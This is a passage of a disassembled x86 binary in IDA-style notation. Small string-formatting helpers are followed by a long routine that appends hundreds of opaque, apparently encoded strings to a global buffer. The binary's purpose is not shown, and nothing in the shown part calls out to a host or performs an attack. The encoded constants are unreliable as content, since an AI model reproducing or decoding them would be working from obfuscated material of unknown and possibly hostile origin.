arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_415579
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_415579
cmp byte ptr [eax], 0
jz short loc_415579
cmp byte ptr [esi], 0
jz short loc_415579
push edi
push esi
push eax
call sub_417010
mov edi, eax
push edi
push offset aS_3 ; "+%s"
push esi
call dword_437274
push edi
call sub_429006
add esp, 18h
pop edi
loc_415579: ; CODE XREF: sub_41553D+7j
; sub_41553D+Fj ...
pop esi
retn
sub_41553D endp
; =============== S U B R O U T I N E =======================================
sub_41557B proc near ; CODE XREF: sub_4155B9+Cp
; sub_4155B9+17p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
test eax, eax
jz short loc_4155B7
mov esi, [esp+4+arg_4]
test esi, esi
jz short loc_4155B7
cmp byte ptr [eax], 0
jz short loc_4155B7
cmp byte ptr [esi], 0
jz short loc_4155B7
push edi
push esi
push eax
call sub_41714C
mov edi, eax
push edi
push offset aS_5 ; "%s"
push esi
call dword_437274
push edi
call sub_429006
add esp, 18h
pop edi
loc_4155B7: ; CODE XREF: sub_41557B+7j
; sub_41557B+Fj ...
pop esi
retn
sub_41557B endp
; =============== S U B R O U T I N E =======================================
sub_4155B9 proc near ; CODE XREF: sub_418D49+7Dp
push esi
mov esi, offset dword_443E90
push offset dword_445B20
push esi
call sub_41557B
push offset dword_445B30
push esi
call sub_41557B
push offset dword_445B40
push esi
call sub_41557B
push offset a7lybp1gunfm0 ; "7LybP1GuNfm0"
push esi
call sub_41557B
push offset a391myLxl28_ ; "391mY/LxL28."
push esi
call sub_41557B
push offset a5h5br_qpSm1 ; "5H5BR.qp/sm1"
push esi
call sub_41557B
push offset aYjmlc1btsf10_0 ; "yJmlc1btsF10"
push esi
call sub_41557B
push offset aZyvgp1mxobt0_0 ; "zyVGp1MxObt0"
push esi
call sub_41557B
add esp, 40h
push offset aG7IvGks9l1_0 ; "g7/IV/gks9L1"
push esi
call sub_41557B
push offset aTugnf_mqsdr0_0 ; "TuGNF.mQSDR0"
push esi
call sub_41557B
push offset aBwIj0rhpgj1 ; "bw/Ij0rhPgj1"
push esi
call sub_41557B
push offset aFuv1h_fi8sc ; "FuV1H.fi8SC/"
push esi
call sub_41557B
push offset aLcxMHdpwr1 ; "lCX/m/HdpWr1"
push esi
call sub_41557B
push offset aVozbg0sssom1 ; "vozbG0sSsoM1"
push esi
call sub_41557B
push offset aKc4l5_savs3_ ; "KC4L5.sAVS3."
push esi
call sub_41557B
push offset aWk12f0zbpla ; "wK12F0ZBpla/"
push esi
call sub_41557B
add esp, 40h
push offset aSpxmrGVbi0 ; "spxMr/G/vBI0"
push esi
call sub_41557B
push offset a2nru_kpknx ; "/2nRu.KpKNx/"
push esi
call sub_41557B
push offset a7lybp1gunfm0_0 ; "7LybP1GuNfm0"
push esi
call sub_41557B
push offset a391myLxl28__0 ; "391mY/LxL28."
push esi
call sub_41557B
push offset a5h5br_qpSm1_0 ; "5H5BR.qp/sm1"
push esi
call sub_41557B
push offset aYjmlc1btsf10 ; "yJmlc1btsF10"
push esi
call sub_41557B
push offset aZyvgp1mxobt0 ; "zyVGp1MxObt0"
push esi
call sub_41557B
push offset aG7IvGks9l1 ; "g7/IV/gks9L1"
push esi
call sub_41557B
add esp, 40h
push offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
push esi
call sub_41557B
push offset aBwIj0rhpgj1_0 ; "bw/Ij0rhPgj1"
push esi
call sub_41557B
push offset aFuv1h_fi8sc_0 ; "FuV1H.fi8SC/"
push esi
call sub_41557B
push offset aLcxMHdpwr1_0 ; "lCX/m/HdpWr1"
push esi
call sub_41557B
push offset aVozbg0sssom1_0 ; "vozbG0sSsoM1"
push esi
call sub_41557B
push offset aKc4l5_savs3__0 ; "KC4L5.sAVS3."
push esi
call sub_41557B
push offset aDJstMfgyq_ ; "d/Jst/MFgyQ."
push esi
call sub_41557B
push offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
push esi
call sub_41557B
add esp, 40h
push offset a86tb1fspjg0 ; "86tb/1FSpjg0"
push esi
call sub_41557B
push offset aPlsymAee6v1 ; "PlsYM/aEe6v1"
push esi
call sub_41557B
push offset aDehziSaO0 ; "deHZI/SA//o0"
push esi
call sub_41557B
push offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
push esi
call sub_41557B
push offset aNfknl0nqigy0 ; "NFKNL0nQigY0"
push esi
call sub_41557B
push offset aE0idd0rdw2u ; "e0idD0RDw2U/"
push esi
call sub_41557B
push offset aEuior0ay2w7__0 ; "EUIOR0ay2w7."
push esi
call sub_41557B
push offset aPdazx1odsoh0 ; "PDazX1oDSOh0"
push esi
call sub_41557B
add esp, 40h
push offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
push esi
call sub_41557B
push offset aDj9owUmrbd_ ; "dJ9OW/uMRBD."
push esi
call sub_41557B
push offset aP00ls0k4t_n1 ; "P00Ls0K4t.N1"
push esi
call sub_41557B
push offset aL3nyw_d7tfl_ ; "l3nYW.D7Tfl."
push esi
call sub_41557B
push offset aQc9zs1zgzff0 ; "Qc9zS1zGZff0"
push esi
call sub_41557B
push offset aWpuwr_6yfru ; "WpuWr.6YFRU/"
push esi
call sub_41557B
push offset a4rmbzFcic21 ; "4RmBz/FCic21"
push esi
call sub_41557B
push offset aSc_coSwlk_ ; "SC.Co/swLK/."
push esi
call sub_41557B
add esp, 40h
push offset aLees11vpbnf0 ; "LeEs11vPbnf0"
push esi
call sub_41557B
push offset aLbjvg0r_qmb_ ; "lbJVg0r.qMb."
push esi
call sub_41557B
push offset aA52n11svyfw0 ; "A52N11SVYFw0"
push esi
call sub_41557B
push offset aHj6vo0jrp9q0 ; "Hj6vo0JRP9Q0"
push esi
call sub_41557B
push offset aR7wrsQhek_0 ; "r7WRs/qHek.0"
push esi
call sub_41557B
push offset aDuzcb0kgssv0 ; "DuzCb0KgSsv0"
push esi
call sub_41557B
push offset aDqjso_47pdb ; "dQJSO.47pdb/"
push esi
call sub_41557B
push offset aK9vUKkutm ; "K9V/U/KkuTM/"
push esi
call sub_41557B
add esp, 40h
push offset a7yfnz0pw11s1 ; "7yfnz0PW11s1"
push esi
call sub_41557B
push offset aNq_as1z1sit ; "nQ.As1Z1SIt/"
push esi
call sub_41557B
push offset aUn3hk0sn58o_0 ; "uN3hk0sn58o/"
push esi
call sub_41557B
push offset aQrn4z10ge1i1_0 ; "QRn4z10ge1I1"
push esi
call sub_41557B
push offset aIegud0v_5_ ; "iEguD0V/.5/."
push esi
call sub_41557B
push offset aFc9kk1jx11g_ ; "fc9Kk1jX11G."
push esi
call sub_41557B
push offset aDnjq8Ze3zw ; "DnjQ8/ze3ZW/"
push esi
call sub_41557B
push offset aEwqxaOc1t_ ; "EWqxA//oC1T."
push esi
call sub_41557B
add esp, 40h
push offset aJiatz0xsump1 ; "JIAtz0xSuMp1"
push esi
call sub_41557B
push offset aVi0qa1mvfro1 ; "VI0QA1mvfro1"
push esi
call sub_41557B
push offset aW3gp6_13acy1 ; "W3GP6.13AcY1"
push esi
call sub_41557B
push offset aE8qiq0hukv9 ; "e8qiq0Hukv9/"
push esi
call sub_41557B
push offset a18rjk_sa2je ; "18Rjk.sa2JE/"
push esi
call sub_41557B
push offset aLjAmKzrtp1 ; "lJ/am/kZRtP1"
push esi
call sub_41557B
push offset aXzaru0amxhi_ ; "XZArU0aMxhi."
push esi
call sub_41557B
push offset aRa7e2Hhxpf0 ; "rA7E2/hHXPf0"
push esi
call sub_41557B
add esp, 40h
push offset aRp4sr11cvr1 ; "Rp4sR11CvR1/"
push esi
call sub_41557B
push offset aZqrvt0t6nmz_ ; "ZqrVt0t6nmZ."
push esi
call sub_41557B
push offset a1shta0bzfwk1 ; "1ShtA0bzFwk1"
push esi
call sub_41557B
push offset aAzcsp_hkilo_ ; "AZcsP.hkiLO."
push esi
call sub_41557B
push offset aFepmfZswfd ; "FEpMF/ZswFD/"
push esi
call sub_41557B
push offset aSud8hRsu8j1 ; "sUd8h/rsu8j1"
push esi
call sub_41557B
push offset aJ2yyw_j09xc ; "j2yYw.J09XC/"
push esi
call sub_41557B
push offset a43ucs0rkqux_ ; "43uCS0rkQUx."
push esi
call sub_41557B
add esp, 40h
push offset aJc8j0_blhir0 ; "jC8j0.blHIr0"
push esi
call sub_41557B
push offset aPiygc_bgpyh_ ; "PIYGC.BgPyH."
push esi
call sub_41557B
push offset a7bqzu_aqz2u_ ; "7bQzU.aQz2u."
push esi
call sub_41557B
push offset aSar5v0jloic0 ; "saR5v0JloIc0"
push esi
call sub_41557B
push offset aX43mxEgedu_ ; "x43Mx/eGeDu."
push esi
call sub_41557B
push offset aIsopf_pu4ty0 ; "IsoPF.PU4tY0"
push esi
call sub_41557B
push offset a98mu_Nedn7_ ; "98mu./nEdn7."
push esi
call sub_41557B
push offset aVdirq_mjcpx1 ; "vDIrQ.MJcpx1"
push esi
call sub_41557B
add esp, 40h
push offset aSad25HpR91 ; "Sad25/hP/R91"
push esi
call sub_41557B
push offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/"
push esi
call sub_41557B
push offset aPnb_aBfzu60_0 ; "pNb.a/Bfzu60"
push esi
call sub_41557B
push offset aI7atf_8Tag1 ; "i7Atf.8/tag1"
push esi
call sub_41557B
push offset aDo5oa0u5m7_ ; "dO5oA/0U5m7."
push esi
call sub_41557B
push offset aS3dyJzo6r_0 ; "s3dY//JZo6r/"
push esi
call sub_41557B
push offset aKe3l20ufrlq0 ; "kE3L20Ufrlq0"
push esi
call sub_41557B
push offset aVp1weJvqbn_ ; "VP1WE/JVQbn."
push esi
call sub_41557B
add esp, 40h
push offset aUaxwg1w8vsp0qr ; "UaxWg1w8vSP0QRn4z10ge1I1"
push esi
call sub_41557B
push offset aQbwgd0cfxf_ ; "qbwGd0CFxf./"
push esi
call sub_41557B
push offset a2mo7g0_b0qj ; "2mo7G0.B0qj/"
push esi
call sub_41557B
push offset a47ff020f_0_ ; "47Ff/020f.0."
push esi
call sub_41557B
push offset aHyomeIovtv_ ; "HyOMe/iovtV."
push esi
call sub_41557B
push offset aPlsymAee6v1_0 ; "PlsYM/aEe6v1"
push esi
call sub_41557B
push offset aCwxyh0ryouv1 ; "CwXYh0RYoUv1"
push esi
call sub_41557B
push offset aEavyh_ic0dc0 ; "eAvYh.IC0dc0"
push esi
call sub_41557B
add esp, 40h
push offset aUz3rf_vtkug1 ; "uz3rf.VTKug1"
push esi
call sub_41557B
push offset aMaeyv0bdsgj0 ; "MAEyv0BdSGj0"
push esi
call sub_41557B
push offset aI3ncg_v5u4g_ ; "I3nCG.v5U4g."
push esi
call sub_41557B
push offset a9bwj__lz2my0 ; "9bWj..lZ2My0"
push esi
call sub_41557B
push offset aRiocl1kztwo0 ; "rioCl1kzTWO0"
push esi
call sub_41557B
push offset a_swwg1hqeii1 ; ".SWwg1hqeiI1"
push esi
call sub_41557B
push offset aG3obv_r6j7h ; "g3obv.r6j7H/"
push esi
call sub_41557B
push offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
push esi
call sub_41557B
add esp, 40h
push offset aItx_n_wpamx_ ; "ITx.N.WPAmx."
push esi
call sub_41557B
push offset aLndk50vzcqw0 ; "LNdk50vzCqW0"
push esi
call sub_41557B
push offset a9ljbh07crkd_ ; "9lJBH07crkD."
push esi
call sub_41557B
push offset aAjttz06ztse1 ; "ajTtz06Ztse1"
push esi
call sub_41557B
push offset aUn3hk0sn58o ; "uN3hk0sn58o/"
push esi
call sub_41557B
push offset aQrn4z10ge1i1 ; "QRn4z10ge1I1"
push esi
call sub_41557B
push offset aBvuso0ed3mw ; "bVUSO0ed3MW/"
push esi
call sub_41557B
push offset aM1d_716jg1r1 ; "M1d.716Jg1r1"
push esi
call sub_41557B
add esp, 40h
push offset a6x2ka0buubb_ ; "6x2Ka0buUbB."
push esi
call sub_41557B
push offset aUqyil_iyvpi_ ; "uQYiL.iYvpI."
push esi
call sub_41557B
push offset a4qyyh1q2ps1 ; "4QyYH1q/2ps1"
push esi
call sub_41557B
push offset aZgidu12tiv0 ; "ZGidU12tiV0/"
push esi
call sub_41557B
push offset aHgcrw_cwuf5_ ; "HGCRW.CWUF5."
push esi
call sub_41557B
push offset aGztle_nhywf ; "gzTlE.nhywf/"
push esi
call sub_41557B
push offset aTvjro1ubgtg1 ; "TVJrO1uBGtg1"
push esi
call sub_41557B
push offset aL80reUvcue1 ; "l80re/UvCUe1"
push esi
loc_415B67: ; DATA XREF: ?9:off_443EF8o
call sub_41557B
add esp, 40h
push offset aVxa_uCdd7s0 ; "VXA.u/cDD7S0"
push esi
call sub_41557B
push offset aH1cmq0wqw5c_ ; "h1cMQ0wQw5C."
push esi
call sub_41557B
push offset aSxytb1_eejq_ ; "SXYtb1.EEjQ."
push esi
call sub_41557B
push offset aVb1r0N_arr0 ; "vB1r0/N.Arr0"
push esi
call sub_41557B
push offset a8im6i__c829_ ; "8Im6i..C829."
push esi
call sub_41557B
push offset aTiyj208fhvn_ ; "tIYj208FHvN."
push esi
call sub_41557B
push offset a5ngN0zjh2i1 ; "5nG/N0ZJh2i1"
push esi
call sub_41557B
push offset aMdf9n0kzpx60 ; "mdf9n0kzPX60"
push esi
call sub_41557B
add esp, 40h
push offset aAtfv_jgk0x1 ; "/ATfv.jgK0X1"
push esi
call sub_41557B
push offset aFu6k10irsc1 ; "fu6k10iRsc/1"
push esi
call sub_41557B
push offset a_luua_bruje0 ; ".lUua.bruje0"
push esi
call sub_41557B
push offset aKzqshDhric_ ; "kzqSH/dhRIc."
push esi
call sub_41557B
push offset aUycsBekwp0 ; "/uYcs/BEKWP0"
push esi
call sub_41557B
push offset aWwfbf_0ptze_ ; "WWFBf.0ptzE."
push esi
call sub_41557B
push offset aFhzdv1ootfg0 ; "fhzdV1OotFg0"
push esi
call sub_41557B
push offset aUmk7x0pwyw9Qrn ; "Umk7x0PwyW9/QRn4z10ge1I1"
push esi
call sub_41557B
add esp, 40h
push offset aHpmch0pbq800 ; "HPmCH0PbQ800"
push esi
call sub_41557B
push offset aUfbss0cbo8c__0 ; "uFbSS0Cbo8C."
push esi
call sub_41557B
push offset aNoazx1alvg0 ; "NoaZx1Alvg/0"
push esi
call sub_41557B
push offset a7fugu_n0u2m1 ; "7FUgU.N0U2m1"
push esi
call sub_41557B
push offset aW3dwl46o0u0 ; "w3dWL/46o0u0"
push esi
call sub_41557B
push offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
push esi
call sub_41557B
push offset a6x7zf1eztny_ ; "6x7zf1EztnY."
push esi
call sub_41557B
push offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
push esi
call sub_41557B
add esp, 40h
push offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
push esi
call sub_41557B
push offset aDnjyk0fwki__ ; "dnjYk0fWkI.."
push esi
call sub_41557B
push offset aXmz20Gjkq ; "xMz20//gJkQ/"
push esi
call sub_41557B
push offset aNhr6r0qsk450 ; "nHr6r0qsk450"
push esi
call sub_41557B
push offset aX_62c_3ldcp ; "X.62C.3LDCP/"
push esi
call sub_41557B
push offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V."
push esi
call sub_41557B
push offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0"
push esi
call sub_41557B
push offset a4h4m_q_guy_ ; "4h4m/.Q.GUy."
push esi
call sub_41557B
add esp, 40h
push offset aPsern1aagh6_ ; "pSern1AAGh6."
push esi
call sub_41557B
push offset aXkg84_cesgs_ ; "XkG84.cESgs."
push esi
call sub_41557B
push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0"
push esi
call sub_41557B
push offset aP06vqBfbmo_ ; "p06vq/BFBMo."
push esi
call sub_41557B
push offset a3vvsv1vurua ; "3VVsV1VuRUA/"
push esi
call sub_41557B
push offset aW1w2v121jsp_ ; "w1w2V121JSP."
push esi
call sub_41557B
push offset aVz62d1m0yya ; "Vz62d1m0Yya/"
push esi
call sub_41557B
push offset aF4c9z1ubcg80 ; "F4c9z1UBCg80"
push esi
call sub_41557B
add esp, 40h
push offset a2yclo0srxpi ; "2YClO0SRxpi/"
push esi
call sub_41557B
push offset aH3yh9_xq_s2_ ; "h3YH9.Xq.S2."
push esi
call sub_41557B
push offset aIwbkf0o1om6Qrn ; "IwBKf0O1Om6/QRn4z10ge1I1"
push esi
call sub_41557B
push offset aKmdie1uwntq ; "KmdIe1UwntQ/"
push esi
call sub_41557B
push offset aUpx0wCz2ei0qrn ; "UPx0W/cz2EI0QRn4z10ge1I1"
push esi
call sub_41557B
push offset aV6jbh0k4uD_ ; "V6jBH0k4u/d."
push esi
call sub_41557B
push offset aB2smo_whkew_qr ; "B2smo.WHkeW.QRn4z10ge1I1"
push esi
call sub_41557B
push offset aVxg7n_qbmg90aa ; "vXG7N.qBMG90aA/Td0EX07M1"
push esi
call sub_41557B
add esp, 40h
push offset aEm42x_1iszi1 ; "Em42x.1IsZI1"
push esi
call sub_41557B
push offset aErnniHm17t1qrn ; "ERNNi/HM17T1QRn4z10ge1I1"
push esi
call sub_41557B
push offset aQ5l5f_2to_60 ; "q5l5f.2TO.60"
push esi
call sub_41557B
push offset aJbkl4Fbwcf1 ; "jBKL4/FbWCF1"
push esi
call sub_41557B
push offset aW3gp6_13acy1_0 ; "W3GP6.13AcY1"
push esi
call sub_41557B
push offset aM08se_kt9td1 ; "M08SE.Kt9tD1"
push esi
call sub_41557B
push offset a3eowx2ocng ; "3eowX/2OCnG/"
push esi
call sub_41557B
push offset aS3dyJzo6r ; "s3dY//JZo6r/"
push esi
call sub_41557B
add esp, 40h
push offset aUwher1dagd80 ; "UWher1DAGD80"
push esi
call sub_41557B
push offset aPnb_aBfzu60 ; "pNb.a/Bfzu60"
push esi
call sub_41557B
push offset aZu2s6_o7_yt ; "Zu2s6.O7.yt/"
push esi
call sub_41557B
push offset a4hftz6holr ; "4hftZ/6HOlR/"
push esi
call sub_41557B
push offset aYqrdp_9rf4u0 ; "yqrdP.9rF4U0"
push esi
call sub_41557B
push offset a1uyis15kh_n1 ; "1UyIs15KH.n1"
push esi
call sub_41557B
push offset a9ljbh07crkd__0 ; "9lJBH07crkD."
push esi
call sub_41557B
push offset aD0ron_ctdg0_ ; "D0roN.CTDg0."
push esi
call sub_41557B
add esp, 40h
push offset aFr8ri0f9nfz_ ; "fr8ri0f9NfZ."
push esi
call sub_41557B
push offset aWbzcx0Dknt_ ; "wbZcx0/Dknt."
push esi
call sub_41557B
push offset aNyjsr1cv5ch0 ; "NyJsR1cV5CH0"
push esi
call sub_41557B
push offset aI6sd4ctzn0 ; "/I6sD/4CTzn0"
push esi
call sub_41557B
push offset aWrlthN3uh_1 ; "WRlth/n3Uh.1"
push esi
call sub_41557B
push offset aYqjsn0wtutn1 ; "yQJsn0wtUtn1"
push esi
call sub_41557B
push offset aTy2nt0oi2yk ; "ty2nT0oI2YK/"
push esi
call sub_41557B
push offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
push esi
call sub_41557B
add esp, 40h
push offset aFfec81uznt81 ; "fFEC81UzNT81"
push esi
call sub_41557B
push offset aJvatg1988z81 ; "jVATg1988z81"
push esi
call sub_41557B
push offset aPrttt0s3ag916n ; "pRTtT0s3aG916N5aw.affEY1"
push esi
call sub_41557B
push offset aHm1h_049e4o ; "Hm1H.049e4O/"
push esi
call sub_41557B
push offset aWj27_1belx20 ; "wj27.1Belx20"
push esi
call sub_41557B
push offset aAl_N0kenp20 ; "Al./N0Kenp20"
push esi
call sub_41557B
push offset a6h4nn1igjm60 ; "6h4NN1IGJm60"
push esi
call sub_41557B
push offset aUr6ne_mot50_ ; "Ur6ne.MOT50."
push esi
call sub_41557B
add esp, 40h
push offset aMflx2_qu4vy_ ; "mflX2.QU4VY."
push esi
call sub_41557B
push offset aXlpyr1anpgm0 ; "xLpyR1aNPGm0"
push esi
call sub_41557B
push offset aWpukb_0uioaOfu ; "WPUkb.0uIoa/OFUur11TNYw0"
push esi
call sub_41557B
push offset aC4dd9_nojvo1 ; "C4dD9.nojvO1"
push esi
call sub_41557B
push offset aJt17j1imtvd1 ; "jt17J1ImTVD1"
push esi
call sub_41557B
push offset aLtlec18us5q0 ; "LTLec18US5q0"
push esi
call sub_41557B
push offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
push esi
call sub_41557B
push offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
push esi
call sub_41557B
add esp, 40h
push offset aWhdag1glagf_ ; "WHdAg1glAgf."
push esi
call sub_41557B
push offset aLmecq0ygcok ; "lmecq0yGcoK/"
push esi
call sub_41557B
push offset aRccsh_adukf1 ; "RcCSh.AdUKf1"
push esi
call sub_41557B
push offset aXu6cu1p_sn6_6n ; "XU6CU1p.SN6.6N5aw.affEY1"
push esi
call sub_41557B
push offset aHuudgYqzdz ; "HuuDG/YQZDz/"
push esi
call sub_41557B
push offset a6hwiyOatg9_6n5 ; "6HWiy/OAtg9.6N5aw.affEY1"
push esi
call sub_41557B
push offset aPtami1_agv ; "PTaMI1/.aGV/"
push esi
call sub_41557B
push offset aUhdhc1pcv9i ; "uhdhC1pCV9i/"
push esi
call sub_41557B
add esp, 40h
push offset aWulzr_x7xjb0 ; "WUlZR.X7XjB0"
push esi
call sub_41557B
push offset aBjatzQyrs11 ; "BjAtz/qyRS11"
push esi
call sub_41557B
push offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
push esi
call sub_41557B
push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0"
push esi
call sub_41557B
push offset aYhzck13caog0 ; "YhzCK13CaOG0"
push esi
call sub_41557B
push offset aAxauo_rlggx0 ; "aXauo.rLGgX0"
push esi
call sub_41557B
push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1"
push esi
call sub_41557B
push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt."
push esi
call sub_41557B
add esp, 40h
push offset aSsoce0jbtxi ; "sSOce0JbTXI/"
push esi
call sub_41557B
push offset aXiw8_1hhx7d1 ; "Xiw8.1HHX7d1"
push esi
call sub_41557B
push offset aQsoz9_vfvwu0 ; "QSOZ9.vFVWu0"
push esi
call sub_41557B
push offset a5oke1awbzq ; "5OkE/1AWBZq/"
push esi
call sub_41557B
push offset aIhfnL6b5x ; "/iHFN/l6B5X/"
push esi
call sub_41557B
push offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
push esi
call sub_41557B
push offset aBnjcz_zig1m0 ; "bNJcZ.ziG1m0"
push esi
call sub_41557B
push offset aSfe3h0kclgx0 ; "SFe3H0kCLgx0"
push esi
call sub_41557B
add esp, 40h
push offset aYdidb16dnmq_ ; "YdidB16dnMQ."
push esi
call sub_41557B
push offset aQvdspRbq6w0 ; "QvDsp/rBQ6w0"
push esi
call sub_41557B
push offset aVv3aj1ywfkc_xz ; "VV3AJ1ywFkC.XzinP/s/R0A."
push esi
call sub_41557B
push offset aNd4qzY5xml0rna ; "nD4Qz/y5xMl0RNAQI05pV11/XzinP/s/R0A."
push esi
call sub_41557B
push offset aRy6iq0udbph ; "RY6IQ0UDbPh/"
push esi
call sub_41557B
push offset aW3nki_guvjx ; "w3NKI.gUvJx/"
push esi
call sub_41557B
push offset aRy6iq0udbphLlD ; "RY6IQ0UDbPh/LL/Dw.r3B9K/"
push esi
call sub_41557B
push offset aRy6iq0udbphN2n ; "RY6IQ0UDbPh/N2NHs/pc9zb/8Wb3v063Ds00"
push esi
call sub_41557B
add esp, 40h
push offset a8cbgoRjryr_ ; "8CBGO/rJRYr."
push esi
call sub_41557B
push offset aKbwmi16jfhl ; "KbwMi16jFhl/"
push esi
call sub_41557B
push offset aIde746o6B_ ; "Ide74/6o6/B."
push esi
call sub_41557B
push offset aY2lm40nv3yaP4m ; "Y2LM40Nv3Ya/p4MrM1AZiAp1eUok8/eobtx1"
push esi
call sub_41557B
push offset a7zfry0iusme1 ; "7Zfry0IUSmE1"
push esi
call sub_41557B
push offset a_9fty1n2tM_ ; ".9ftY1N2T/m."
push esi
call sub_41557B
push offset aVxppy0owq7d ; "VxPpy0owQ7D/"
push esi
call sub_41557B
push offset aW50oj_ac8ak0 ; "w50OJ.ac8AK0"
push esi
call sub_41557B
add esp, 40h
push offset aVgh9x1uWay0 ; "VgH9X1u/wAY0"
push esi
call sub_41557B
push offset aEih0f1gakfp0 ; "EiH0f1GakFP0"
push esi
call sub_41557B
push offset aUfbss0cbo8c_ ; "uFbSS0Cbo8C."
push esi
call sub_41557B
push offset aLvk_hHddio0 ; "Lvk.H/hddio0"
push esi
call sub_41557B
push offset aJsuah_0_mmw0zb ; "JsuAH.0.mmW0zbFKT0RKhRb0"
push esi
call sub_41557B
push offset aAqq27_7qqv10 ; "AQQ27.7qQv10"
push esi
call sub_41557B
push offset a2Afm0dt3o6_ ; "2/Afm0dt3o6."
push esi
call sub_41557B
push offset aQvp40nd9f2 ; "/qvP40nD9F2/"
push esi
call sub_41557B
add esp, 40h
push offset aMkk0_mvscp_hwh ; "mKK0/.MVScP.hwHKV/Er1cB0ZvOBu/66U/i/nNp"...
push esi
call sub_41557B
push offset aShktk1eNl8Jlzt ; "sHKtk1e/Nl8/jLZte1JtI/t1"
push esi
call sub_41557B
push offset aZcm1__num3n0oe ; "ZcM1..nUM3N0OE819.1TEYD."
push esi
call sub_41557B
push offset a5_xnq0cowxs0 ; "5.Xnq0cowXs0"
push esi
call sub_41557B
push offset a8y4sz09fdh50tc ; "8Y4sz09fDH50tccap0cH5OH0/mDXM1sxCV2/iNR"...
push esi
call sub_41557B
push offset aRnyaa0crtpo0yy ; "RNYAA0crTPO0yYB2h.Fe8bw.iRLzu0EdQ3j/1D6"...
push esi
call sub_41557B
push offset aEuior0ay2w7_ ; "EUIOR0ay2w7."
push esi
call sub_41557B
push offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
push esi
call sub_41557B
add esp, 40h
push offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
push esi
call sub_41557B
push offset aTpzyk0moe8_0jt ; "TpzyK0MOE8.0jTPEZ1dC0uG0"
push esi
call sub_41557B
push offset a4ezrg1ye5hp1o2 ; "4Ezrg1ye5hp1O2jqY1BhtQc.jTPEZ1dC0uG0"
push esi
call sub_41557B
push offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"...
push esi
call sub_41557B
push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"...
push esi
call sub_41557B
push offset a2ms3c_kjtek0 ; "2MS3c.kJTeK0"
push esi
call sub_41557B
push offset aOgyzo1Qmpy1 ; "OGyZo1/qmpy1"
push esi
call sub_41557B
push offset aNI427pnt0 ; "n/i4//27pnT0"
push esi
call sub_41557B
add esp, 40h
push offset aXg4wo0gh6fy0p9 ; "xg4wO0Gh6FY0p9CIj.BYYVY."
push esi
call sub_41557B
push offset aTarxm0mtxpp_ ; "tArXm0mtxpp."
push esi
call sub_41557B
push offset aQ3bef_grjcn1aa ; "Q3BEf.grJCN1aA/Td0EX07M1"
push esi
call sub_41557B
push offset aPJs70eukyp0 ; "P/JS70EukYp0"
push esi
call sub_41557B
push offset aUDneTzo8s_omqd ; "u/DnE/tzo8s.OMQDW1DERIa/"
push esi
call sub_41557B
push offset a2n67h0pevch1 ; "2n67H0PEVch1"
push esi
call sub_41557B
push offset a5v1zc1efrzg_tc ; "5v1zc1EfRZg.tccap0cH5OH0NHckR.k9Wj.1"
push esi
call sub_41557B
push offset a6f3al1m_ydx05y ; "6f3aL1m.YdX05ythl/YiVnR/jSlje0VWu/50peq"...
push esi
call sub_41557B
add esp, 40h
push offset a3un9w_temux_5y ; "3Un9W.TEMuX.5ythl/YiVnR/J9IiO.VPA7i1"
push esi
call sub_41557B
push offset a7nmru1owjrg0md ; "7NmRu1oWjRG0Md/AN15kOfy.nR01m1pzFKu1"
push esi
call sub_41557B
push offset aNeuf6qyoiMdAn1 ; "NEuF//6QYOi/Md/AN15kOfy.nR01m1pzFKu1"
push esi
call sub_41557B
push offset aNxruj_viib6 ; "nxruJ.vIib6/"
push esi
call sub_41557B
push offset a5gcpxGycn21n1z ; "5GCpx/gYCn21N1Zsj.w3Ty30"
push esi
call sub_41557B
push offset aFoabg1acvfoOsd ; "fOaBg1ACVfo/osdpb1E0v95."
push esi
call sub_41557B
push offset aPimgt12pvee_ ; "pImgT12pvEE."
push esi
call sub_41557B
push offset aJgyqn0dmzir12z ; "jgYqN0dmziR12zQe40gFoLm.rilJR.uuL/I0"
push esi
call sub_41557B
add esp, 40h
push offset aAqejv_njvii_y8 ; "aQeJV.nJvIi.y8Ri./b5L.q."
push esi
call sub_41557B
pop ecx
pop ecx
pop esi
retn
sub_4155B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4162F5 proc near ; CODE XREF: sub_4164D0+18p
; sub_4164D0+30p ...
var_394 = byte ptr -394h
var_1EC = byte ptr -1ECh
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_3F = byte ptr -3Fh
var_3E = byte ptr -3Eh
var_3D = byte ptr -3Dh
var_3C = byte ptr -3Ch
var_3B = byte ptr -3Bh
var_3A = byte ptr -3Ah
var_39 = byte ptr -39h
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_36 = byte ptr -36h
var_35 = byte ptr -35h
var_34 = byte ptr -34h
var_33 = byte ptr -33h
var_32 = byte ptr -32h
var_31 = byte ptr -31h
var_30 = byte ptr -30h
